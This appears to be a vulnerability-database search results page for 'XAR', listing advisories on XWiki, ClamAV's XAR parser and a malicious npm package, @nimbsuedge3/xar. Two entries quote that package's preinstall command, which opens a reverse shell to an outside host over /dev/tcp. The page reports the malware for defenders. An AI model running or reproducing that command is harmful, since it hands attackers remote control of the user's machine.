221 matches found
CVE-2026-33137
CVE-2026-33137 XWiki Platform - REST/wikis/wikiName를 통한 인증되지 않은 XAR 가져오기 설명 XWiki Platform의 POST /wikis/wikiName REST API 엔드포인트는 인증 또는 권한 검사를 수행하지 않고 XARXWiki Archive 가져오기를 실행합니다. 인증되지 않은 공격자는 조작된 XAR 파일을 전송하여 대상 위키의 임의 문서를 생성하거나 업데이트할 수 있습니다. CVE : CVE-2026-33137 CWE : CWE-862 인가 누락 CVSS 4.0 : 9...
[SECURITY] Fedora 45 Update: xar-1.8.0.417.1-21.fc45
The XAR project aims to provide an easily extensible archive format. Important design decisions include an easily extensible XML table of contents for random access to archived files, storing the toc at the beginning of the archive to allow for efficient handling of streamed archives, the ability...
Ubuntu 22.04 LTS / 24.04 LTS / 26.04 LTS : ClamAV vulnerabilities (USN-8788-1)
The remote Ubuntu 22.04 LTS / 24.04 LTS / 26.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-8788-1 advisory. It was discovered that ClamAV incorrectly handled certain zip archive files. A remote attacker could possibly use this issue to...
Malicious Package
Overview @nimbsuedge3/xar is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...
USN-8788-1: ClamAV vulnerabilities
It was discovered that ClamAV incorrectly handled certain zip archive files. A remote attacker could possibly use this issue to cause ClamAV to crash, resulting in a denial of service. CVE-2026-20337, CVE-2026-20338 It was discovered that ClamAV incorrectly handled certain PESpin files. A remote...
Malicious code in @nimbsuedge3/xar (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a...
MAL-2026-16301 Malicious code in @nimbsuedge3/xar (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a...
ClamAV XAR File Format Processing Memory Corruption Vulnerability
...
SUSE CVE-2026-20348
A vulnerability in the XAR file format parser of ClamAV could allow an unauthenticated, remote attacker to cause a DoS condition or possibly other expanded impacts as a result of memory corruption on an affected device. This vulnerability is due to improper boundary checks for content in XAR file...
Linux Distros Unpatched Vulnerability : CVE-2026-20348
The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - A vulnerability in the XAR file format parser of ClamAV could allow an unauthenticated, remote attacker to cause a DoS condition or possibly other expanded...
AZL-95441 CVE-2026-20348 affecting package clamav for versions less than 1.5.4-1
A vulnerability in the XAR file format parser of ClamAV could allow an unauthenticated, remote attacker to cause a DoS condition or possibly other expanded impacts as a result of memory corruption on an affected device. This vulnerability is due to improper boundary checks for content in XAR file...
CVE-2026-20348
A vulnerability in the XAR file format parser of ClamAV could allow an unauthenticated, remote attacker to cause a DoS condition or possibly other expanded impacts as a result of memory corruption on an affected device. This vulnerability is due to improper boundary checks for content in XAR file...
CVE-2026-20348
A vulnerability in the XAR file format parser of ClamAV could allow an unauthenticated, remote attacker to cause a DoS condition or possibly other expanded impacts as a result of memory corruption on an affected device. This vulnerability is due to improper boundary checks for content in XAR file...
UBUNTU-CVE-2026-20348
A vulnerability in the XAR file format parser of ClamAV could allow an unauthenticated, remote attacker to cause a DoS condition or possibly other expanded impacts as a result of memory corruption on an affected device. This vulnerability is due to improper boundary checks for content in XAR file...
CVE-2026-20348
A vulnerability in the XAR file format parser of ClamAV could allow an unauthenticated, remote attacker to cause a DoS condition or possibly other expanded impacts as a result of memory corruption on an affected device. This vulnerability is due to improper boundary checks for content in XAR file...
CVE-2026-20348
CVE-2026-20348 affects ClamAV’s XAR file format parser. The issue stems from improper boundary checks for XAR content during scanning, leading to memory corruption. An unauthenticated, remote attacker can submit a crafted XAR file to trigger the vulnerability, potentially causing the ClamAV scann...
CVE-2026-20348 ClamAV XAR File Format Processing Memory Corruption Vulnerability
A vulnerability in the XAR file format parser of ClamAV could allow an unauthenticated, remote attacker to cause a DoS condition or possibly other expanded impacts as a result of memory corruption on an affected device. This vulnerability is due to improper boundary checks for content in XAR file...
EUVD-2026-54508
A vulnerability in the XAR file format parser of ClamAV could allow an unauthenticated, remote attacker to cause a DoS condition or possibly other expanded impacts as a result of memory corruption on an affected device. This vulnerability is due to improper boundary checks for content in XAR file...
CVE-2026-20348 ClamAV XAR File Format Processing Memory Corruption Vulnerability
A vulnerability in the XAR file format parser of ClamAV could allow an unauthenticated, remote attacker to cause a DoS condition or possibly other expanded impacts as a result of memory corruption on an affected device. This vulnerability is due to improper boundary checks for content in XAR file...
CVE-2026-20348
A vulnerability in the XAR file format parser of ClamAV could allow an unauthenticated, remote attacker to cause a DoS condition or possibly other expanded impacts as a result of memory corruption on an affected device. This vulnerability is due to improper boundary checks for content in XAR file...